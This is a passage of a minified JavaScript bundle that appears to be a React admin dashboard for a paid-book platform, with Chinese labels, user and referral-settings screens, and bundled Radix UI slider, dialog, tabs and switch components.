0:Ge.charAt(0))||"?"}),s.jsxs("div",{children:[s.jsx("div",{className:"text-white text-sm",children:Ve.nickname}),s.jsx("div",{className:"text-xs text-gray-500",children:Ve.phone||(Ve.hasOpenId?"微信用户":"未绑定")})]})]}),s.jsxs("div",{className:"flex items-center gap-2",children:[Ve.status==="vip"&&s.jsx(qe,{className:"bg-green-500/20 text-green-400 border-0 text-xs",children:"全书已购"}),Ve.status==="paid"&&s.jsxs(qe,{className:"bg-blue-500/20 text-blue-400 border-0 text-xs",children:["已付费",Ve.purchasedSections,"章"]}),Ve.status==="free"&&s.jsx(qe,{className:"bg-gray-500/20 text-gray-400 border-0 text-xs",children:"未付费"}),s.jsx("span",{className:"text-xs text-gray-500",children:Ve.createdAt?new Date(Ve.createdAt).toLocaleDateString():""})]})]},Ve.id||Pe)})}):s.jsx("div",{className:"text-center py-8 text-gray-500",children:"暂无绑定用户"})]}),s.jsx(on,{children:s.jsx(te,{variant:"outline",onClick:()=>P(!1),className:"border-gray-600 text-gray-300 hover:bg-gray-700/50 bg-transparent",children:"关闭"})})]})}),s.jsx(n0,{open:Y,onClose:()=>B(!1),userId:re,onUserUpdated:Rt})]})}function mh(t,[e,n]){return Math.min(n,Math.max(e,t))}var kk=["PageUp","PageDown"],Sk=["ArrowUp","ArrowDown","ArrowLeft","ArrowRight"],Ck={"from-left":["Home","PageDown","ArrowDown","ArrowLeft"],"from-right":["Home","PageDown","ArrowDown","ArrowRight"],"from-bottom":["Home","PageDown","ArrowDown","ArrowLeft"],"from-top":["Home","PageDown","ArrowUp","ArrowLeft"]},zl="Slider",[Bg,mP,gP]=Xx(zl),[Ek]=Ei(zl,[gP]),[xP,wf]=Ek(zl),Tk=b.forwardRef((t,e)=>{const{name:n,min:r=0,max:a=100,step:i=1,orientation:o="horizontal",disabled:c=!1,minStepsBetweenThumbs:u=0,defaultValue:h=[r],value:f,onValueChange:m=()=>{},onValueCommit:g=()=>{},inverted:y=!1,form:N,...w}=t,v=b.useRef(new Set),k=b.useRef(0),E=o==="horizontal"?yP:bP,[T=[],I]=xo({prop:f,defaultProp:h,onChange:Z=>{var fe;(fe=[...v.current][k.current])==null||fe.focus(),m(Z)}}),O=b.useRef(T);function L(Z){const ne=kP(T,Z);_(Z,ne)}function R(Z){_(Z,k.current)}function D(){const Z=O.current[k.current];T[k.current]!==Z&&g(T)}function _(Z,ne,{commit:fe}={commit:!1}){const xe=TP(i),$=MP(Math.round((Z-r)/i)*i+r,xe),H=mh($,[r,a]);I((oe=[])=>{const P=wP(oe,H,ne);if(EP(P,u*i)){k.current=P.indexOf(H);const K=String(P)!==String(oe);return K&&fe&&g(P),K?P:oe}else return oe})}return s.jsx(xP,{scope:t.__scopeSlider,name:n,disabled:c,min:r,max:a,valueIndexToChangeRef:k,thumbs:v.current,values:T,orientation:o,form:N,children:s.jsx(Bg.Provider,{scope:t.__scopeSlider,children:s.jsx(Bg.Slot,{scope:t.__scopeSlider,children:s.jsx(E,{"aria-disabled":c,"data-disabled":c?"":void 0,...w,ref:e,onPointerDown:ot(w.onPointerDown,()=>{c||(O.current=T)}),min:r,max:a,inverted:y,onSlideStart:c?void 0:L,onSlideMove:c?void 0:R,onSlideEnd:c?void 0:D,onHomeKeyDown:()=>!c&&_(r,0,{commit:!0}),onEndKeyDown:()=>!c&&_(a,T.length-1,{commit:!0}),onStepKeyDown:({event:Z,direction:ne})=>{if(!c){const $=kk.includes(Z.key)||Z.shiftKey&&Sk.includes(Z.key)?10:1,H=k.current,oe=T[H],P=i*$*ne;_(oe+P,H,{commit:!0})}}})})})})});Tk.displayName=zl;var[Mk,Ak]=Ek(zl,{startEdge:"left",endEdge:"right",size:"width",direction:1}),yP=b.forwardRef((t,e)=>{const{min:n,max:r,dir:a,inverted:i,onSlideStart:o,onSlideMove:c,onSlideEnd:u,onStepKeyDown:h,...f}=t,[m,g]=b.useState(null),y=Ct(e,E=>g(E)),N=b.useRef(void 0),w=bf(a),v=w==="ltr",k=v&&!i||!v&&i;function C(E){const T=N.current||m.getBoundingClientRect(),I=[0,T.width],L=s0(I,k?[n,r]:[r,n]);return N.current=T,L(E-T.left)}return s.jsx(Mk,{scope:t.__scopeSlider,startEdge:k?"left":"right",endEdge:k?"right":"left",direction:k?1:-1,size:"width",children:s.jsx(Ik,{dir:w,"data-orientation":"horizontal",...f,ref:y,style:{...f.style,"--radix-slider-thumb-transform":"translateX(-50%)"},onSlideStart:E=>{const T=C(E.clientX);o==null||o(T)},onSlideMove:E=>{const T=C(E.clientX);c==null||c(T)},onSlideEnd:()=>{N.current=void 0,u==null||u()},onStepKeyDown:E=>{const I=Ck[k?"from-left":"from-right"].includes(E.key);h==null||h({event:E,direction:I?-1:1})}})})}),bP=b.forwardRef((t,e)=>{const{min:n,max:r,inverted:a,onSlideStart:i,onSlideMove:o,onSlideEnd:c,onStepKeyDown:u,...h}=t,f=b.useRef(null),m=Ct(e,f),g=b.useRef(void 0),y=!a;function N(w){const v=g.current||f.current.getBoundingClientRect(),k=[0,v.height],E=s0(k,y?[r,n]:[n,r]);return g.current=v,E(w-v.top)}return s.jsx(Mk,{scope:t.__scopeSlider,startEdge:y?"bottom":"top",endEdge:y?"top":"bottom",size:"height",direction:y?1:-1,children:s.jsx(Ik,{"data-orientation":"vertical",...h,ref:m,style:{...h.style,"--radix-slider-thumb-transform":"translateY(50%)"},onSlideStart:w=>{const v=N(w.clientY);i==null||i(v)},onSlideMove:w=>{const v=N(w.clientY);o==null||o(v)},onSlideEnd:()=>{g.current=void 0,c==null||c()},onStepKeyDown:w=>{const k=Ck[y?"from-bottom":"from-top"].includes(w.key);u==null||u({event:w,direction:k?-1:1})}})})}),Ik=b.forwardRef((t,e)=>{const{__scopeSlider:n,onSlideStart:r,onSlideMove:a,onSlideEnd:i,onHomeKeyDown:o,onEndKeyDown:c,onStepKeyDown:u,...h}=t,f=wf(zl,n);return s.jsx(ht.span,{...h,ref:e,onKeyDown:ot(t.onKeyDown,m=>{m.key==="Home"?(o(m),m.preventDefault()):m.key==="End"?(c(m),m.preventDefault()):kk.concat(Sk).includes(m.key)&&(u(m),m.preventDefault())}),onPointerDown:ot(t.onPointerDown,m=>{const g=m.target;g.setPointerCapture(m.pointerId),m.preventDefault(),f.thumbs.has(g)?g.focus():r(m)}),onPointerMove:ot(t.onPointerMove,m=>{m.target.hasPointerCapture(m.pointerId)&&a(m)}),onPointerUp:ot(t.onPointerUp,m=>{const g=m.target;g.hasPointerCapture(m.pointerId)&&(g.releasePointerCapture(m.pointerId),i(m))})})}),Rk="SliderTrack",Pk=b.forwardRef((t,e)=>{const{__scopeSlider:n,...r}=t,a=wf(Rk,n);return s.jsx(ht.span,{"data-disabled":a.disabled?"":void 0,"data-orientation":a.orientation,...r,ref:e})});Pk.displayName=Rk;var Vg="SliderRange",Ok=b.forwardRef((t,e)=>{const{__scopeSlider:n,...r}=t,a=wf(Vg,n),i=Ak(Vg,n),o=b.useRef(null),c=Ct(e,o),u=a.values.length,h=a.values.map(g=>_k(g,a.min,a.max)),f=u>1?Math.min(...h):0,m=100-Math.max(...h);return s.jsx(ht.span,{"data-orientation":a.orientation,"data-disabled":a.disabled?"":void 0,...r,ref:c,style:{...t.style,[i.startEdge]:f+"%",[i.endEdge]:m+"%"}})});Ok.displayName=Vg;var Hg="SliderThumb",Dk=b.forwardRef((t,e)=>{const n=mP(t.__scopeSlider),[r,a]=b.useState(null),i=Ct(e,c=>a(c)),o=b.useMemo(()=>r?n().findIndex(c=>c.ref.current===r):-1,[n,r]);return s.jsx(vP,{...t,ref:i,index:o})}),vP=b.forwardRef((t,e)=>{const{__scopeSlider:n,index:r,name:a,...i}=t,o=wf(Hg,n),c=Ak(Hg,n),[u,h]=b.useState(null),f=Ct(e,C=>h(C)),m=u?o.form||!!u.closest("form"):!0,g=t0(u),y=o.values[r],N=y===void 0?0:_k(y,o.min,o.max),w=jP(r,o.values.length),v=g==null?void 0:g[c.size],k=v?SP(v,N,c.direction):0;return b.useEffect(()=>{if(u)return o.thumbs.add(u),()=>{o.thumbs.delete(u)}},[u,o.thumbs]),s.jsxs("span",{style:{transform:"var(--radix-slider-thumb-transform)",position:"absolute",[c.startEdge]:`calc(${N}% + ${k}px)`},children:[s.jsx(Bg.ItemSlot,{scope:t.__scopeSlider,children:s.jsx(ht.span,{role:"slider","aria-label":t["aria-label"]||w,"aria-valuemin":o.min,"aria-valuenow":y,"aria-valuemax":o.max,"aria-orientation":o.orientation,"data-orientation":o.orientation,"data-disabled":o.disabled?"":void 0,tabIndex:o.disabled?void 0:0,...i,ref:f,style:y===void 0?{display:"none"}:t.style,onFocus:ot(t.onFocus,()=>{o.valueIndexToChangeRef.current=r})})}),m&&s.jsx(Lk,{name:a??(o.name?o.name+(o.values.length>1?"[]":""):void 0),form:o.form,value:y},r)]})});Dk.displayName=Hg;var NP="RadioBubbleInput",Lk=b.forwardRef(({__scopeSlider:t,value:e,...n},r)=>{const a=b.useRef(null),i=Ct(a,r),o=e0(e);return b.useEffect(()=>{const c=a.current;if(!c)return;const u=window.HTMLInputElement.prototype,f=Object.getOwnPropertyDescriptor(u,"value").set;if(o!==e&&f){const m=new Event("input",{bubbles:!0});f.call(c,e),c.dispatchEvent(m)}},[o,e]),s.jsx(ht.input,{style:{display:"none"},...n,ref:i,defaultValue:e})});Lk.displayName=NP;function wP(t=[],e,n){const r=[...t];return r[n]=e,r.sort((a,i)=>a-i)}function _k(t,e,n){const i=100/(n-e)*(t-e);return mh(i,[0,100])}function jP(t,e){return e>2?`Value ${t+1} of ${e}`:e===2?["Minimum","Maximum"][t]:void 0}function kP(t,e){if(t.length===1)return 0;const n=t.map(a=>Math.abs(a-e)),r=Math.min(...n);return n.indexOf(r)}function SP(t,e,n){const r=t/2,i=s0([0,50],[0,r]);return(r-i(e)*n)*n}function CP(t){return t.slice(0,-1).map((e,n)=>t[n+1]-e)}function EP(t,e){if(e>0){const n=CP(t);return Math.min(...n)>=e}return!0}function s0(t,e){return n=>{if(t[0]===t[1]||e[0]===e[1])return e[0];const r=(e[1]-e[0])/(t[1]-t[0]);return e[0]+r*(n-t[0])}}function TP(t){return(String(t).split(".")[1]||"").length}function MP(t,e){const n=Math.pow(10,e);return Math.round(t*n)/n}var AP=Tk,IP=Pk,RP=Ok,PP=Dk;function OP({className:t,defaultValue:e,value:n,min:r=0,max:a=100,...i}){const o=b.useMemo(()=>Array.isArray(n)?n:Array.isArray(e)?e:[r,a],[n,e,r,a]);return s.jsxs(AP,{defaultValue:e,value:n,min:r,max:a,className:Et("relative flex w-full touch-none items-center select-none data-[disabled]:opacity-50",t),...i,children:[s.jsx(IP,{className:"bg-gray-600 relative grow overflow-hidden rounded-full h-1.5 w-full",children:s.jsx(RP,{className:"bg-[#38bdac] absolute h-full rounded-full"})}),Array.from({length:o.length},(c,u)=>s.jsx(PP,{className:"block size-4 shrink-0 rounded-full border-2 border-[#38bdac] bg-white shadow-sm focus-visible:ring-2 focus-visible:ring-[#38bdac] focus-visible:ring-offset-2 disabled:pointer-events-none disabled:opacity-50"},u))]})}const DP={distributorShare:90,minWithdrawAmount:10,bindingDays:30,userDiscount:5,enableAutoWithdraw:!1,vipOrderShareVip:20,vipOrderShareNonVip:10};function zk(t){const[e,n]=b.useState(DP),[r,a]=b.useState(!0),[i,o]=b.useState(!1);b.useEffect(()=>{De("/api/admin/referral-settings").then(h=>{const f=h==null?void 0:h.data;f&&typeof f=="object"&&n({distributorShare:f.distributorShare??90,minWithdrawAmount:f.minWithdrawAmount??10,bindingDays:f.bindingDays??30,userDiscount:f.userDiscount??5,enableAutoWithdraw:f.enableAutoWithdraw??!1,vipOrderShareVip:f.vipOrderShareVip??20,vipOrderShareNonVip:f.vipOrderShareNonVip??10})}).catch(console.error).finally(()=>a(!1))},[]);const c=async()=>{o(!0);try{const h={distributorShare:Number(e.distributorShare)||0,minWithdrawAmount:Number(e.minWithdrawAmount)||0,bindingDays:Number(e.bindingDays)||0,userDiscount:Number(e.userDiscount)||0,enableAutoWithdraw:!!e.enableAutoWithdraw,vipOrderShareVip:Number(e.vipOrderShareVip)||20,vipOrderShareNonVip:Number(e.vipOrderShareNonVip)||10},f=await vt("/api/admin/referral-settings",h);if(!f||f.success===!1){ie.error("保存失败: "+(f&&typeof f=="object"&&"error"in f?f.error:""));return}ie.success(`✅ 分销配置已保存成功! +For more information, see https://radix-ui.com/primitives/docs/components/${e.docsSlug}`;return b.useEffect(()=>{t&&(document.getElementById(t)||console.error(n))},[n,t]),null},IR="DialogDescriptionWarning",RR=({contentRef:t,descriptionId:e})=>{const r=`Warning: Missing \`Description\` or \`aria-describedby={undefined}\` for {${Jj(IR).contentName}}.`;return b.useEffect(()=>{var i;const a=(i=t.current)==null?void 0:i.getAttribute("aria-describedby");e&&a&&(document.getElementById(e)||console.warn(r))},[r,t,e]),null},PR=Lj,OR=$j,DR=Fj,LR=Bj,_R=Hj,zR=Uj,$R=qj;function Dt(t){return s.jsx(PR,{"data-slot":"dialog",...t})}function FR(t){return s.jsx(OR,{...t})}const Yj=b.forwardRef(({className:t,...e},n)=>s.jsx(DR,{ref:n,className:Et("fixed inset-0 z-50 bg-black/50",t),...e}));Yj.displayName="DialogOverlay";const At=b.forwardRef(({className:t,children:e,showCloseButton:n=!0,...r},a)=>s.jsxs(FR,{children:[s.jsx(Yj,{}),s.jsxs(LR,{ref:a,"aria-describedby":void 0,className:Et("fixed top-[50%] left-[50%] z-50 grid w-full max-w-[calc(100%-2rem)] -translate-x-1/2 -translate-y-1/2 gap-4 rounded-lg border bg-background p-6 shadow-lg",t),...r,children:[e,n&&s.jsxs($R,{className:"absolute right-4 top-4 rounded-sm opacity-70 hover:opacity-100 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 disabled:pointer-events-none",children:[s.jsx(ir,{className:"h-4 w-4"}),s.jsx("span",{className:"sr-only",children:"Close"})]})]})]}));At.displayName="DialogContent";function Lt({className:t,...e}){return s.jsx("div",{className:Et("flex flex-col gap-2 text-center sm:text-left",t),...e})}function on({className:t,...e}){return s.jsx("div",{className:Et("flex flex-col-reverse gap-2 sm:flex-row sm:justify-end",t),...e})}function _t(t){return s.jsx(_R,{className:"text-lg font-semibold leading-none",...t})}function yf(t){return s.jsx(zR,{className:"text-sm text-muted-foreground",...t})}const BR=cj("inline-flex items-center justify-center rounded-md border px-2 py-0.5 text-xs font-medium w-fit whitespace-nowrap shrink-0 transition-colors",{variants:{variant:{default:"border-transparent bg-primary text-primary-foreground",secondary:"border-transparent bg-secondary text-secondary-foreground",destructive:"border-transparent bg-destructive text-white",outline:"text-foreground"}},defaultVariants:{variant:"default"}});function We({className:t,variant:e,asChild:n=!1,...r}){const a=n?ij:"span";return s.jsx(a,{className:Et(BR({variant:e}),t),...r})}var VR=["a","button","div","form","h2","h3","img","input","label","li","nav","ol","p","select","span","svg","ul"],HR=VR.reduce((t,e)=>{const n=aj(`Primitive.${e}`),r=b.forwardRef((a,i)=>{const{asChild:o,...c}=a,u=o?n:e;return typeof window<"u"&&(window[Symbol.for("radix-ui")]=!0),s.jsx(u,{...c,ref:i})});return r.displayName=`Primitive.${e}`,{...t,[e]:r}},{}),WR="Label",Qj=b.forwardRef((t,e)=>s.jsx(HR.label,{...t,ref:e,onMouseDown:n=>{var a;n.target.closest("button, input, select, textarea")||((a=t.onMouseDown)==null||a.call(t,n),!n.defaultPrevented&&n.detail>1&&n.preventDefault())}}));Qj.displayName=WR;var Xj=Qj;const X=b.forwardRef(({className:t,...e},n)=>s.jsx(Xj,{ref:n,className:Et("text-sm font-medium leading-none peer-disabled:cursor-not-allowed peer-disabled:opacity-70",t),...e}));X.displayName=Xj.displayName;function Xx(t){const e=t+"CollectionProvider",[n,r]=Ei(e),[a,i]=n(e,{collectionRef:{current:null},itemMap:new Map}),o=w=>{const{scope:v,children:k}=w,C=br.useRef(null),E=br.useRef(new Map).current;return s.jsx(a,{scope:v,itemMap:E,collectionRef:C,children:k})};o.displayName=e;const c=t+"CollectionSlot",u=ed(c),h=br.forwardRef((w,v)=>{const{scope:k,children:C}=w,E=i(c,k),T=Ct(v,E.collectionRef);return s.jsx(u,{ref:T,children:C})});h.displayName=c;const f=t+"CollectionItemSlot",m="data-radix-collection-item",g=ed(f),y=br.forwardRef((w,v)=>{const{scope:k,children:C,...E}=w,T=br.useRef(null),I=Ct(v,T),O=i(f,k);return br.useEffect(()=>(O.itemMap.set(T,{ref:T,...E}),()=>void O.itemMap.delete(T))),s.jsx(g,{[m]:"",ref:I,children:C})});y.displayName=f;function N(w){const v=i(t+"CollectionConsumer",w);return br.useCallback(()=>{const C=v.collectionRef.current;if(!C)return[];const E=Array.from(C.querySelectorAll(`[${m}]`));return Array.from(v.itemMap.values()).sort((O,L)=>E.indexOf(O.ref.current)-E.indexOf(L.ref.current))},[v.collectionRef,v.itemMap])}return[{Provider:o,Slot:h,ItemSlot:y},N,r]}var UR=b.createContext(void 0);function bf(t){const e=b.useContext(UR);return t||e||"ltr"}var Fm="rovingFocusGroup.onEntryFocus",KR={bubbles:!1,cancelable:!0},xd="RovingFocusGroup",[Fg,Zj,qR]=Xx(xd),[GR,ek]=Ei(xd,[qR]),[JR,YR]=GR(xd),tk=b.forwardRef((t,e)=>s.jsx(Fg.Provider,{scope:t.__scopeRovingFocusGroup,children:s.jsx(Fg.Slot,{scope:t.__scopeRovingFocusGroup,children:s.jsx(QR,{...t,ref:e})})}));tk.displayName=xd;var QR=b.forwardRef((t,e)=>{const{__scopeRovingFocusGroup:n,orientation:r,loop:a=!1,dir:i,currentTabStopId:o,defaultCurrentTabStopId:c,onCurrentTabStopIdChange:u,onEntryFocus:h,preventScrollOnEntryFocus:f=!1,...m}=t,g=b.useRef(null),y=Ct(e,g),N=bf(i),[w,v]=xo({prop:o,defaultProp:c??null,onChange:u,caller:xd}),[k,C]=b.useState(!1),E=bi(h),T=Zj(n),I=b.useRef(!1),[O,L]=b.useState(0);return b.useEffect(()=>{const R=g.current;if(R)return R.addEventListener(Fm,E),()=>R.removeEventListener(Fm,E)},[E]),s.jsx(JR,{scope:n,orientation:r,dir:N,loop:a,currentTabStopId:w,onItemFocus:b.useCallback(R=>v(R),[v]),onItemShiftTab:b.useCallback(()=>C(!0),[]),onFocusableItemAdd:b.useCallback(()=>L(R=>R+1),[]),onFocusableItemRemove:b.useCallback(()=>L(R=>R-1),[]),children:s.jsx(ht.div,{tabIndex:k||O===0?-1:0,"data-orientation":r,...m,ref:y,style:{outline:"none",...t.style},onMouseDown:ot(t.onMouseDown,()=>{I.current=!0}),onFocus:ot(t.onFocus,R=>{const D=!I.current;if(R.target===R.currentTarget&&D&&!k){const z=new CustomEvent(Fm,KR);if(R.currentTarget.dispatchEvent(z),!z.defaultPrevented){const Z=T().filter(H=>H.focusable),ne=Z.find(H=>H.active),fe=Z.find(H=>H.id===w),$=[ne,fe,...Z].filter(Boolean).map(H=>H.ref.current);sk($,f)}}I.current=!1}),onBlur:ot(t.onBlur,()=>C(!1))})})}),nk="RovingFocusGroupItem",rk=b.forwardRef((t,e)=>{const{__scopeRovingFocusGroup:n,focusable:r=!0,active:a=!1,tabStopId:i,children:o,...c}=t,u=fi(),h=i||u,f=YR(nk,n),m=f.currentTabStopId===h,g=Zj(n),{onFocusableItemAdd:y,onFocusableItemRemove:N,currentTabStopId:w}=f;return b.useEffect(()=>{if(r)return y(),()=>N()},[r,y,N]),s.jsx(Fg.ItemSlot,{scope:n,id:h,focusable:r,active:a,children:s.jsx(ht.span,{tabIndex:m?0:-1,"data-orientation":f.orientation,...c,ref:e,onMouseDown:ot(t.onMouseDown,v=>{r?f.onItemFocus(h):v.preventDefault()}),onFocus:ot(t.onFocus,()=>f.onItemFocus(h)),onKeyDown:ot(t.onKeyDown,v=>{if(v.key==="Tab"&&v.shiftKey){f.onItemShiftTab();return}if(v.target!==v.currentTarget)return;const k=eP(v,f.orientation,f.dir);if(k!==void 0){if(v.metaKey||v.ctrlKey||v.altKey||v.shiftKey)return;v.preventDefault();let E=g().filter(T=>T.focusable).map(T=>T.ref.current);if(k==="last")E.reverse();else if(k==="prev"||k==="next"){k==="prev"&&E.reverse();const T=E.indexOf(v.currentTarget);E=f.loop?tP(E,T+1):E.slice(T+1)}setTimeout(()=>sk(E))}}),children:typeof o=="function"?o({isCurrentTabStop:m,hasTabStop:w!=null}):o})})});rk.displayName=nk;var XR={ArrowLeft:"prev",ArrowUp:"prev",ArrowRight:"next",ArrowDown:"next",PageUp:"first",Home:"first",PageDown:"last",End:"last"};function ZR(t,e){return e!=="rtl"?t:t==="ArrowLeft"?"ArrowRight":t==="ArrowRight"?"ArrowLeft":t}function eP(t,e,n){const r=ZR(t.key,n);if(!(e==="vertical"&&["ArrowLeft","ArrowRight"].includes(r))&&!(e==="horizontal"&&["ArrowUp","ArrowDown"].includes(r)))return XR[r]}function sk(t,e=!1){const n=document.activeElement;for(const r of t)if(r===n||(r.focus({preventScroll:e}),document.activeElement!==n))return}function tP(t,e){return t.map((n,r)=>t[(e+r)%t.length])}var nP=tk,rP=rk,vf="Tabs",[sP]=Ei(vf,[ek]),ak=ek(),[aP,Zx]=sP(vf),ik=b.forwardRef((t,e)=>{const{__scopeTabs:n,value:r,onValueChange:a,defaultValue:i,orientation:o="horizontal",dir:c,activationMode:u="automatic",...h}=t,f=bf(c),[m,g]=xo({prop:r,onChange:a,defaultProp:i??"",caller:vf});return s.jsx(aP,{scope:n,baseId:fi(),value:m,onValueChange:g,orientation:o,dir:f,activationMode:u,children:s.jsx(ht.div,{dir:f,"data-orientation":o,...h,ref:e})})});ik.displayName=vf;var ok="TabsList",lk=b.forwardRef((t,e)=>{const{__scopeTabs:n,loop:r=!0,...a}=t,i=Zx(ok,n),o=ak(n);return s.jsx(nP,{asChild:!0,...o,orientation:i.orientation,dir:i.dir,loop:r,children:s.jsx(ht.div,{role:"tablist","aria-orientation":i.orientation,...a,ref:e})})});lk.displayName=ok;var ck="TabsTrigger",dk=b.forwardRef((t,e)=>{const{__scopeTabs:n,value:r,disabled:a=!1,...i}=t,o=Zx(ck,n),c=ak(n),u=fk(o.baseId,r),h=pk(o.baseId,r),f=r===o.value;return s.jsx(rP,{asChild:!0,...c,focusable:!a,active:f,children:s.jsx(ht.button,{type:"button",role:"tab","aria-selected":f,"aria-controls":h,"data-state":f?"active":"inactive","data-disabled":a?"":void 0,disabled:a,id:u,...i,ref:e,onMouseDown:ot(t.onMouseDown,m=>{!a&&m.button===0&&m.ctrlKey===!1?o.onValueChange(r):m.preventDefault()}),onKeyDown:ot(t.onKeyDown,m=>{[" ","Enter"].includes(m.key)&&o.onValueChange(r)}),onFocus:ot(t.onFocus,()=>{const m=o.activationMode!=="manual";!f&&!a&&m&&o.onValueChange(r)})})})});dk.displayName=ck;var uk="TabsContent",hk=b.forwardRef((t,e)=>{const{__scopeTabs:n,value:r,forceMount:a,children:i,...o}=t,c=Zx(uk,n),u=fk(c.baseId,r),h=pk(c.baseId,r),f=r===c.value,m=b.useRef(f);return b.useEffect(()=>{const g=requestAnimationFrame(()=>m.current=!1);return()=>cancelAnimationFrame(g)},[]),s.jsx(gd,{present:a||f,children:({present:g})=>s.jsx(ht.div,{"data-state":f?"active":"inactive","data-orientation":c.orientation,role:"tabpanel","aria-labelledby":u,hidden:!g,id:h,tabIndex:0,...o,ref:e,style:{...t.style,animationDuration:m.current?"0s":void 0},children:g&&i})})});hk.displayName=uk;function fk(t,e){return`${t}-trigger-${e}`}function pk(t,e){return`${t}-content-${e}`}var iP=ik,mk=lk,gk=dk,xk=hk;const yd=iP,Ll=b.forwardRef(({className:t,...e},n)=>s.jsx(mk,{ref:n,className:Et("inline-flex h-9 items-center justify-center rounded-lg bg-muted p-1 text-muted-foreground",t),...e}));Ll.displayName=mk.displayName;const Zt=b.forwardRef(({className:t,...e},n)=>s.jsx(gk,{ref:n,className:Et("inline-flex items-center justify-center whitespace-nowrap rounded-md px-3 py-1 text-sm font-medium ring-offset-background transition-all focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring focus-visible:ring-offset-2 disabled:pointer-events-none disabled:opacity-50 data-[state=active]:bg-background data-[state=active]:text-foreground data-[state=active]:shadow",t),...e}));Zt.displayName=gk.displayName;const en=b.forwardRef(({className:t,...e},n)=>s.jsx(xk,{ref:n,className:Et("mt-2 ring-offset-background focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring focus-visible:ring-offset-2",t),...e}));en.displayName=xk.displayName;function e0(t){const e=b.useRef({value:t,previous:t});return b.useMemo(()=>(e.current.value!==t&&(e.current.previous=e.current.value,e.current.value=t),e.current.previous),[t])}function t0(t){const[e,n]=b.useState(void 0);return or(()=>{if(t){n({width:t.offsetWidth,height:t.offsetHeight});const r=new ResizeObserver(a=>{if(!Array.isArray(a)||!a.length)return;const i=a[0];let o,c;if("borderBoxSize"in i){const u=i.borderBoxSize,h=Array.isArray(u)?u[0]:u;o=h.inlineSize,c=h.blockSize}else o=t.offsetWidth,c=t.offsetHeight;n({width:o,height:c})});return r.observe(t,{box:"border-box"}),()=>r.unobserve(t)}else n(void 0)},[t]),e}var Nf="Switch",[oP]=Ei(Nf),[lP,cP]=oP(Nf),yk=b.forwardRef((t,e)=>{const{__scopeSwitch:n,name:r,checked:a,defaultChecked:i,required:o,disabled:c,value:u="on",onCheckedChange:h,form:f,...m}=t,[g,y]=b.useState(null),N=Ct(e,E=>y(E)),w=b.useRef(!1),v=g?f||!!g.closest("form"):!0,[k,C]=xo({prop:a,defaultProp:i??!1,onChange:h,caller:Nf});return s.jsxs(lP,{scope:n,checked:k,disabled:c,children:[s.jsx(ht.button,{type:"button",role:"switch","aria-checked":k,"aria-required":o,"data-state":wk(k),"data-disabled":c?"":void 0,disabled:c,value:u,...m,ref:N,onClick:ot(t.onClick,E=>{C(T=>!T),v&&(w.current=E.isPropagationStopped(),w.current||E.stopPropagation())})}),v&&s.jsx(Nk,{control:g,bubbles:!w.current,name:r,value:u,checked:k,required:o,disabled:c,form:f,style:{transform:"translateX(-100%)"}})]})});yk.displayName=Nf;var bk="SwitchThumb",vk=b.forwardRef((t,e)=>{const{__scopeSwitch:n,...r}=t,a=cP(bk,n);return s.jsx(ht.span,{"data-state":wk(a.checked),"data-disabled":a.disabled?"":void 0,...r,ref:e})});vk.displayName=bk;var dP="SwitchBubbleInput",Nk=b.forwardRef(({__scopeSwitch:t,control:e,checked:n,bubbles:r=!0,...a},i)=>{const o=b.useRef(null),c=Ct(o,i),u=e0(n),h=t0(e);return b.useEffect(()=>{const f=o.current;if(!f)return;const m=window.HTMLInputElement.prototype,y=Object.getOwnPropertyDescriptor(m,"checked").set;if(u!==n&&y){const N=new Event("click",{bubbles:r});y.call(f,n),f.dispatchEvent(N)}},[u,n,r]),s.jsx("input",{type:"checkbox","aria-hidden":!0,defaultChecked:n,...a,tabIndex:-1,ref:c,style:{...a.style,...h,position:"absolute",pointerEvents:"none",opacity:0,margin:0}})});Nk.displayName=dP;function wk(t){return t?"checked":"unchecked"}var jk=yk,uP=vk;const kt=b.forwardRef(({className:t,...e},n)=>s.jsx(jk,{className:Et("peer inline-flex h-5 w-9 shrink-0 cursor-pointer items-center rounded-full border-2 border-transparent shadow-sm transition-colors focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-[#38bdac] focus-visible:ring-offset-2 focus-visible:ring-offset-[#0a1628] disabled:cursor-not-allowed disabled:opacity-50 data-[state=unchecked]:bg-gray-600 data-[state=checked]:bg-[#38bdac]",t),...e,ref:n,children:s.jsx(uP,{className:Et("pointer-events-none block h-4 w-4 rounded-full bg-white shadow-lg ring-0 transition-transform data-[state=checked]:translate-x-4 data-[state=unchecked]:translate-x-0")})}));kt.displayName=jk.displayName;function n0({open:t,onClose:e,userId:n,onUserUpdated:r}){var Is;const[a,i]=b.useState(null),[o,c]=b.useState([]),[u,h]=b.useState([]),[f,m]=b.useState(null),[g,y]=b.useState(!1),[N,w]=b.useState(!1),[v,k]=b.useState(!1),[C,E]=b.useState("info"),[T,I]=b.useState(""),[O,L]=b.useState(""),[R,D]=b.useState([]),[z,Z]=b.useState(""),[ne,fe]=b.useState(""),[xe,$]=b.useState(""),[H,oe]=b.useState(!1),[P,q]=b.useState({isVip:!1,vipExpireDate:"",vipRole:"",vipName:"",vipProject:"",vipContact:"",vipBio:""}),[B,_]=b.useState([]),[W,le]=b.useState(!1),[J,Y]=b.useState(""),[V,re]=b.useState(""),[ue,ce]=b.useState(!1),[ye,Re]=b.useState(!1),[Le,lt]=b.useState(null),[Tt,ln]=b.useState(null),[yt,nn]=b.useState(""),[In,Mt]=b.useState(""),[Yt,rn]=b.useState(""),[Rn,pr]=b.useState(!1),[Pn,Hn]=b.useState(null),[K,Ue]=b.useState("");b.useEffect(()=>{t&&n&&(E("info"),lt(null),ln(null),Hn(null),Ue(""),fe(""),$(""),Je(),De("/api/db/vip-roles").then(pe=>{pe!=null&&pe.success&&pe.data&&_(pe.data)}).catch(()=>{}))},[t,n]);async function Je(){if(n){y(!0);try{const pe=await De(`/api/db/users?id=${encodeURIComponent(n)}`);if(pe!=null&&pe.success&&pe.user){const ge=pe.user;i(ge),I(ge.phone||""),L(ge.nickname||""),nn(ge.phone||""),Mt(ge.wechatId||""),rn(ge.openId||"");try{D(typeof ge.tags=="string"?JSON.parse(ge.tags||"[]"):[])}catch{D([])}q({isVip:!!(ge.isVip??!1),vipExpireDate:ge.vipExpireDate?String(ge.vipExpireDate).slice(0,10):"",vipRole:String(ge.vipRole??""),vipName:String(ge.vipName??""),vipProject:String(ge.vipProject??""),vipContact:String(ge.vipContact??""),vipBio:String(ge.vipBio??"")})}try{const ge=await 